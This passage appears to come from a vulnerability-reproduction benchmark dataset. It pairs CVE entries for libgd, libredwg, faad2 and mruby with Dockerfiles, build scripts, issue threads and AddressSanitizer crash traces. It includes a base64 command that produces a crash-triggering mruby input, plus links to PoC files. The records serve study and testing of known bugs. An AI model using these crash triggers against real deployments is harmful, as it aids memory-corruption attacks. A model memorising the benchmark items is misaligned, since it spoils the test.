one thing i really hate about gd's API in general is its inconsistent (and uncommon) ability to signal errors. ideally, `gdImageFillToBorder` would return an error whenever sanity was violated:
- `x` or `y` coordinates out of bounds
- `border` is invalid
- `color` is invalid for image
---
Comment by pierrejoye on 2016-06-02 11:51:16+00:00:
@vapier totally agree, sadly remaining of the old APIs where we try to keep BC.
also correct fix could be:
```
if (!im->trueColor) {
if ((color >= gdMaxColors) && (color > im->colorsTotal)) {
return;
}
}
```
---
Comment by pierrejoye on 2016-06-02 12:13:24+00:00:
@vapier about tc colors, this function overrides the modes, it only works in full replace mode, no blending is ever done.
See https://github.com/libgd/libgd/blob/502e4cd873c3b37b307b9f450ef827d40916c3d6/src/gd.c#L1939
---
Comment by vapier on 2016-06-03 02:49:07+00:00:
ah yeah, i missed `gdImageFillToBorder` clobbering `alphaBlendingFlag`. that addresses my concern.
i'm not sure about that fix -- if the user requested a color that is outside of `colorsTotal`, shouldn't we reject that too ? the `gdImageFill` func enforces things this way too:
``` c
if (!im->trueColor && nc > (im->colorsTotal - 1)) {
return;
}
```
i think we want to use that in this func.
---
Comment by pierrejoye on 2016-06-03 04:49:26+00:00:
Yes that works too. Is color unsigned or signed? If the latter we must check for >0 too.
---
Comment by vapier on 2016-06-03 15:41:39+00:00:
`colorsTotal` is an `int` as is `nc` and `color`, so `gdImageFill` will be comparing `nc` against `-1` in the initial (common?) case.
it's not clear to me how a value of `0` should be handled with `colorsTotal`. should we be initializing that to `256` instead in `gdImageCreate` ?
---
Comment by pierrejoye on 2016-06-04 03:29:37+00:00:
colorsTotal is the currently amount of colors allocated (see the color
allocate function). 256 is the maximum amount of colors. Both being used
for palette images.
On Jun 3, 2016 10:41 PM, "Mike Frysinger" [email protected] wrote:
> colorsTotal is an int as is nc and color, so gdImageFill will be
> comparing nc against -1 in the initial (common?) case.
>
> it's not clear to me how a value of 0 should be handled with colorsTotal.
> should we be initializing that to 256 instead in gdImageCreate ?
>
> —
> You are receiving this because you commented.
> Reply to this email directly, view it on GitHub
> https://github.com/libgd/libgd/issues/215#issuecomment-223614372, or mute
> the thread
> https://github.com/notifications/unsubscribe/AARPKHngKjw7haLn10v4se99bO8UANUEks5qIEs1gaJpZM4ImbEz
> .
---
Comment by vapier on 2016-06-04 16:41:49+00:00:
i think you forgot to `git add` the test so the build now fails ...
also, i think the question is still open: should `gdImageCreate` be defaulting `colorsTotal` to `256` instead of `0` ? if we do that, we can make more assumptions elsewhere and not treat `0` specially.
---
Comment by pierrejoye on 2016-06-05 04:17:33+00:00:
We need the amount of colors allocated when it comes to save the image. We can indeed scan the image to see if a color index is used or not but it can be very slow.
Also 0 is a special case and have to remain one as it is used at the background color (the 1st allocate will be the default bgd color for palette image, why gdCalloc is used to allocate the rows).
Commit References:
502e4cd873c3b37b307b9f450ef827d40916c3d6
|
[
{
"content": "// Copyright 2018 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n/////////////////////////////////////////////////////////////////////////////\n\n#include <stdint.h>\n#include \"gd.h\"\n\n#define PASTE(x) gdImageCreateFrom ## x ## Ptr\n#define CREATE_IMAGE(FORMAT) PASTE(FORMAT)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n gdImagePtr im = CREATE_IMAGE(FUZZ_GD_FORMAT)(Size, (void*) Data);\n if (im) gdImageDestroy(im);\n return 0;\n}\n",
"filename": "parser_target.cc"
}
] |
[
{
"sha": "77f619d48259383628c3ec4654b1ad578e9eb40e",
"url": "https://github.com/libgd/libgd/commit/77f619d48259383628c3ec4654b1ad578e9eb40e"
},
{
"sha": "863d37ea66d5c960db08d6f4a2cbd2518f0f80d1",
"url": "https://github.com/php/php-src/commit/863d37ea66d5c960db08d6f4a2cbd2518f0f80d1"
},
{
"sha": "502e4cd873c3b37b307b9f450ef827d40916c3d6",
"url": "https://github.com/libgd/libgd/commit/502e4cd873c3b37b307b9f450ef827d40916c3d6"
},
{
"sha": "e8bfada239723e1d493bbc3425eac2f9920c7598",
"url": "https://github.com/libgd/libgd/commit/e8bfada239723e1d493bbc3425eac2f9920c7598"
},
{
"sha": "2a55b0f7a02581b6e8d110ef8d6d067ce095783c",
"url": "https://github.com/libgd/libgd/commit/2a55b0f7a02581b6e8d110ef8d6d067ce095783c"
},
{
"sha": "904df016878af3498b70e421cb839729ebbbfd6d",
"url": "https://github.com/libgd/libgd/commit/904df016878af3498b70e421cb839729ebbbfd6d"
},
{
"sha": "6156e6645d39cbd59b0339d41f73fdb1208fcddb",
"url": "https://github.com/libgd/libgd/commit/6156e6645d39cbd59b0339d41f73fdb1208fcddb"
},
{
"sha": "e4abbbf5f9ee4c3b533f2ae45432b8c8f8a1bf2f",
"url": "https://github.com/libgd/libgd/commit/e4abbbf5f9ee4c3b533f2ae45432b8c8f8a1bf2f"
},
{
"sha": "6f5c4084c1a94e6312e81b3efc07b736fe938e16",
"url": "https://github.com/libgd/libgd/commit/6f5c4084c1a94e6312e81b3efc07b736fe938e16"
},
{
"sha": "8438ce5dd6ba0b32ce81033a538b781410bc511e",
"url": "https://github.com/libgd/libgd/commit/8438ce5dd6ba0b32ce81033a538b781410bc511e"
},
{
"sha": "38241013cc048af7c03daf6e9a75b4f42bffb200",
"url": "https://github.com/libgd/libgd/commit/38241013cc048af7c03daf6e9a75b4f42bffb200"
}
] |
libredwg.cve-2021-28237
|
libredwg/libredwg
|
49aeec4ea55f7b60247af5ccbe84ed5bbf798da9
| 2021-02-26T02:49:25
|
libredwg
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout 49aeec4ea55f7b60247af5ccbe84ed5bbf798da9
WORKDIR $SRC/libredwg
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
sh ./autogen.sh
./configure --disable-shared --disable-bindings
make -j$(nproc)
|
/src/libredwg
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/325
## Description:
Issue: LibreDWG/libredwg#325
Title: Heap-buffer-overflow in decode_preR13 line 470
State: closed
Created by: zodf0055980
Created at: 2021-03-04 04:20:26+00:00
Labels: fuzzing
Issue Body:
I found a heap buffer overflow in the current master (8072563).
# Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure
# Command
`./dwgread ./poc`
# ASAN report
```
➜ ./dwgread ./poc
ERROR: This version of LibreDWG is only capable of decoding version r13-r2018 (code: AC1012-AC1032) DWG files.
We don't decode many entities and no blocks yet.
ERROR: offset -39
ERROR: offset -85
=================================================================
==12538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000001c8 at pc 0x7ffff29b78be bp 0x7fffffffa8e0 sp 0x7fffffffa8d0
WRITE of size 8 at 0x6120000001c8 thread T0
#0 0x7ffff29b78bd in decode_preR13_section /home/yuan/afl-target/libredwg-asan/src/decode.c:470
#1 0x7ffff2a26e90 in decode_preR13 /home/yuan/afl-target/libredwg-asan/src/decode.c:744
#2 0x7ffff29a43e9 in dwg_decode /home/yuan/afl-target/libredwg-asan/src/decode.c:235
#3 0x7ffff297afa4 in dwg_read_file /home/yuan/afl-target/libredwg-asan/src/dwg.c:253
#4 0x5555555576f3 in main /home/yuan/afl-target/libredwg-asan/programs/dwgread.c:251
#5 0x7ffff1f52bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#6 0x5555555562a9 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwgread+0x22a9)
Address 0x6120000001c8 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/yuan/afl-target/libredwg-asan/src/decode.c:470 in decode_preR13_section
Shadow bytes around the buggy address:
0x0c247fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
=>0x0c247fff8030: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa
0x0c247fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==12538==ABORTING
```
# POC
[poc.zip](https://github.com/LibreDWG/libredwg/files/6080842/poc.zip)
Comments:
Comment by rurban on 2021-03-06 15:38:17+00:00:
We don't release this code-path yet. fuzzers should configure with `--enable-release`. it is only run with git checkouts.
Fixed with ea0b9522f63d049ded2c3cff8d9a8c360119951c
---
Comment by zodf0055980 on 2021-03-06 20:16:01+00:00:
Sorry, I will add `--enable-release` to run fuzzing, thanks.
Attachments:
https://github.com/LibreDWG/libredwg/files/6080842/poc.zip
Commit References:
ea0b9522f63d049ded2c3cff8d9a8c360119951c
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "llvmfuzz.options"
}
] |
[
{
"sha": "ea0b9522f63d049ded2c3cff8d9a8c360119951c",
"url": "https://github.com/libredwg/libredwg/commit/ea0b9522f63d049ded2c3cff8d9a8c360119951c"
}
] |
faad2.cve-2018-20197
|
knik0/faad2
|
334e7647a5f31903aca33dde39bb8683e9d8cccd
| 2017-12-17T13:54:42
|
faad2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/knik0/faad2 faad2
RUN git -C faad2 checkout 334e7647a5f31903aca33dde39bb8683e9d8cccd
WORKDIR $SRC/faad2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap
./configure
make -j$(nproc)
|
/src/faad2
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/knik0/faad2/issues/20
## Description:
Issue: knik0/faad2#20
Title: stack-buffer-underflow in function calculate_gain(libfaad/sbr_hfadj.c:1311)
State: closed
Created by: fantasy7082
Created at: 2018-12-17 04:11:39+00:00
Issue Body:
Hi, i found a stack-buffer-overflow bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8, the details are below(ASAN):
```
./faad faad_res/006-stack-buffer-underflow-sbr_hfadj_1311 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/006-stack-buffer-underflow-sbr_hfadj_1311 file info:
ADTS, 0.256 sec, 42 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
=================================================================
==7026==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff630132fc at pc 0x7fedefda0e74 bp 0x7fff63012ef0 sp 0x7fff63012ee0
WRITE of size 4 at 0x7fff630132fc thread T0
#0 0x7fedefda0e73 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1311
#1 0x7fedefd9e392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83
#2 0x7fedefdbc725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7fedefdbe7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#4 0x7fedefd66b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#5 0x7fedefd6ee28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#6 0x7fedefd6d354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#7 0x7fedefd6e2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#8 0x7fedefd289c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7fedefd28566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7fedef96082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
Address 0x7fff630132fc is located in stack of thread T0 at offset 12 in frame
#0 0x7fedefd9dd8e in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:60
This frame has 1 object(s):
[32, 2972) 'adj'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow /root/faad2_asan/libfaad/sbr_hfadj.c:1311 calculate_gain
Shadow bytes around the buggy address:
0x10006c5fa600: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2
0x10006c5fa610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa620: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2
0x10006c5fa630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa640: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f3 f3 f3 f3
=>0x10006c5fa650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1[f1]
0x10006c5fa660: f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==7026==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/006-stack-buffer-underflow-sbr_hfadj_1311
Comments:
Comment by hlef on 2019-05-05 10:16:38+00:00:
This issue was assigned CVE-2018-20197.
Exact same issue as #21, slightly different path.
@fabiangreffrath : in any case, also fixed by 6b4a7cde30f2e2cb03e78ef476cc73179cfffda3.
---
Comment by fabiangreffrath on 2019-05-06 12:39:51+00:00:
Closing, thanks!
Commit References:
6b4a7cde30f2e2cb03e78ef476cc73179cfffda3
|
[] |
[
{
"sha": "6b4a7cde30f2e2cb03e78ef476cc73179cfffda3",
"url": "https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3"
}
] |
mruby.cve-2022-0631
|
mruby/mruby
|
1e314242e42932ec7146eaef87605e9ae5e91ba3
| 2022-02-16T22:07:27
|
mruby
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout 1e314242e42932ec7146eaef87605e9ae5e91ba3
WORKDIR $SRC/mruby
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m
|
/src/mruby
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/9bdc49ca-6697-4adc-a785-081e1961bf40
## Description:
Description
Heap Overflow occurs in mrb_f_send().
commit : 38b164ace7d6ae1c367883a3d67d7f559783faad
Proof of Concept
$ echo -ne "c2VuZCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2Vu
ZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiCg==" | base64 -d > poc
# ASAN
$ ./bin/mruby poc
=================================================================
==160090==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c0000000c0 at pc 0x00000058752e bp 0x7ffffffe7430 sp 0x7ffffffe7428
READ of size 8 at 0x60c0000000c0 thread T0
#0 0x58752d in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:695:12
#1 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#2 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#3 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#4 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#5 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#6 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#7 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#8 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#9 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#10 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#11 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#12 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#13 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#14 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#15 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#16 0x58808b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#17 0x59ce54 in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:1633:18
#18 0x58c1da in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
#19 0x586949 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
#20 0x68dd7b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6883:7
#21 0x68ef5b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6926:12
#22 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#23 0x7ffff7a690b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#24 0x41d70d in _start (/home/alkyne/mruby-debug/bin/mruby.asan+0x41d70d)
0x60c0000000c0 is located 0 bytes to the right of 128-byte region [0x60c000000040,0x60c0000000c0)
allocated by thread T0 here:
#0 0x4988e9 in realloc (/home/alkyne/mruby-debug/bin/mruby.asan+0x4988e9)
#1 0x5f52b5 in mrb_default_allocf /home/alkyne/mruby-debug/src/state.c:68:12
#2 0x65521e in mrb_realloc_simple /home/alkyne/mruby-debug/src/gc.c:226:8
#3 0x6557a4 in mrb_realloc /home/alkyne/mruby-debug/src/gc.c:240:8
#4 0x6558d0 in mrb_malloc /home/alkyne/mruby-debug/src/gc.c:256:10
#5 0x4d06cc in ary_new_capa /home/alkyne/mruby-debug/src/array.c:37:35
#6 0x4d0c13 in ary_new_from_values /home/alkyne/mruby-debug/src/array.c:84:22
#7 0x4d0b38 in mrb_ary_new_from_values /home/alkyne/mruby-debug/src/array.c:95:22
#8 0x5b7a1f in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:2605:17
#9 0x58c1da in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
#10 0x586949 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
#11 0x68dd7b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6883:7
#12 0x68ef5b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6926:12
#13 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#14 0x7ffff7a690b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/alkyne/mruby-debug/src/vm.c:695:12 in mrb_f_send
Shadow bytes around the buggy address:
0x0c187fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c187fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c187fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c187fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c187fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c187fff8010: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c187fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==160090==ABORTING
Impact
Heap based Buffer Overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.
Relevant Links:
https://github.com/mruby/mruby
|
[] |
[
{
"sha": "9bdc49ca",
"url": null
},
{
"sha": "47068ae07a5fa3aa9a1879cdfe98a9ce0f339299",
"url": "https://github.com/mruby/mruby/commit/47068ae07a5fa3aa9a1879cdfe98a9ce0f339299"
},
{
"sha": "38b164ace7d6ae1c367883a3d67d7f559783faad",
"url": "https://github.com/mruby/mruby/commit/38b164ace7d6ae1c367883a3d67d7f559783faad"
}
] |
mruby.cve-2022-1934
|
mruby/mruby
|
af5acf3566d5732871b1dcb007aee4f474369d93
| 2022-05-29T11:16:47
|
mruby
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout af5acf3566d5732871b1dcb007aee4f474369d93
WORKDIR $SRC/mruby
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m
|
/src/mruby
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/99e6df06-b9f7-4c53-a722-6bb89fbfb51f
## Description:
Description
Use-After-Free in function hash_new_from_values at vm.c:1167
mruby version
git log
commit ac79849fde3381e001c3274fbcdda20a5c9cb22b (HEAD -> master, origin/master, origin/HEAD)
Author: Yukihiro "Matz" Matsumoto <[email protected]>
Date: Fri May 20 09:59:23 2022 +0900
Build
export CFLAGS="-g -O0 -lpthread -fsanitize=address"
export CXXFLAGS="-g -O0 -lpthread -fsanitize=address"
export LDFLAGS="-fsanitize=address"
make
POC
./mruby /mnt/share/max/fuzz/poc/mruby/poc_uaf_s.rb
=================================================================
==3269441==ERROR: AddressSanitizer: heap-use-after-free on address 0x619000000438 at pc 0x0000005deb14 bp 0x7ffffffed850 sp 0x7ffffffed848
READ of size 8 at 0x619000000438 thread T0
#0 0x5deb13 in hash_new_from_values /home/fuzz/fuzz/mruby/src/vm.c:1167:5
#1 0x57d9c1 in mrb_vm_exec /home/fuzz/fuzz/mruby/src/vm.c:1628:7
#2 0x56c3bd in mrb_vm_run /home/fuzz/fuzz/mruby/src/vm.c:1138:12
#3 0x5656c4 in mrb_top_run /home/fuzz/fuzz/mruby/src/vm.c:3061:12
#4 0x6b0c05 in mrb_load_exec /home/fuzz/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6891:7
#5 0x6b232f in mrb_load_detect_file_cxt /home/fuzz/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6934:12
#6 0x4cb27a in main /home/fuzz/fuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#7 0x7ffff7c4c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#8 0x41d78d in _start (/home/fuzz/fuzz/mruby/bin/mruby+0x41d78d)
0x619000000438 is located 952 bytes inside of 1024-byte region [0x619000000080,0x619000000480)
freed by thread T0 here:
#0 0x498d09 in realloc (/home/fuzz/fuzz/mruby/bin/mruby+0x498d09)
#1 0x6430bd in mrb_default_allocf /home/fuzz/fuzz/mruby/src/state.c:69:12
#2 0x5e60d3 in mrb_realloc_simple /home/fuzz/fuzz/mruby/src/gc.c:227:8
#3 0x55b5cb in stack_extend_alloc /home/fuzz/fuzz/mruby/src/vm.c:181:27
#4 0x55aeee in mrb_stack_extend /home/fuzz/fuzz/mruby/src/vm.c:201:5
#5 0x5616c2 in mrb_stack_extend_adjust /home/fuzz/fuzz/mruby/src/vm.c:212:5
#6 0x55fa7f in mrb_funcall_with_block /home/fuzz/fuzz/mruby/src/vm.c:538:5
#7 0x55dd5d in mrb_funcall_argv /home/fuzz/fuzz/mruby/src/vm.c:584:10
#8 0x55e4aa in mrb_funcall_id /home/fuzz/fuzz/mruby/src/vm.c:409:10
#9 0x60251a in mrb_eql /home/fuzz/fuzz/mruby/src/object.c:642:10
#10 0x74220e in obj_eql /home/fuzz/fuzz/mruby/src/hash.c:379:5
#11 0x743ccb in ea_get_by_key /home/fuzz/fuzz/mruby/src/hash.c:456:3
#12 0x742b10 in ar_set /home/fuzz/fuzz/mruby/src/hash.c:526:16
#13 0x735888 in h_set /home/fuzz/fuzz/mruby/src/hash.c:1012:3
#14 0x7346be in mrb_hash_set /home/fuzz/fuzz/mruby/src/hash.c:1245:3
#15 0x5deb54 in hash_new_from_values /home/fuzz/fuzz/mruby/src/vm.c:1167:5
#16 0x57d9c1 in mrb_vm_exec /home/fuzz/fuzz/mruby/src/vm.c:1628:7
#17 0x56c3bd in mrb_vm_run /home/fuzz/fuzz/mruby/src/vm.c:1138:12
#18 0x5656c4 in mrb_top_run /home/fuzz/fuzz/mruby/src/vm.c:3061:12
#19 0x6b0c05 in mrb_load_exec /home/fuzz/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6891:7
#20 0x6b232f in mrb_load_detect_file_cxt /home/fuzz/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6934:12
#21 0x4cb27a in main /home/fuzz/fuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#22 0x7ffff7c4c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x498d09 in realloc (/home/fuzz/fuzz/mruby/bin/mruby+0x498d09)
#1 0x6430bd in mrb_default_allocf /home/fuzz/fuzz/mruby/src/state.c:69:12
#2 0x5e60d3 in mrb_realloc_simple /home/fuzz/fuzz/mruby/src/gc.c:227:8
#3 0x5e6999 in mrb_realloc /home/fuzz/fuzz/mruby/src/gc.c:241:8
#4 0x5e6b81 in mrb_malloc /home/fuzz/fuzz/mruby/src/gc.c:257:10
#5 0x5e6d62 in mrb_calloc /home/fuzz/fuzz/mruby/src/gc.c:275:9
#6 0x560b03 in stack_init /home/fuzz/fuzz/mruby/src/vm.c:110:28
#7 0x56c1a6 in mrb_vm_run /home/fuzz/fuzz/mruby/src/vm.c:1131:5
#8 0x565499 in mrb_top_run /home/fuzz/fuzz/mruby/src/vm.c:3057:12
#9 0x552360 in mrb_load_proc /home/fuzz/fuzz/mruby/src/load.c:716:10
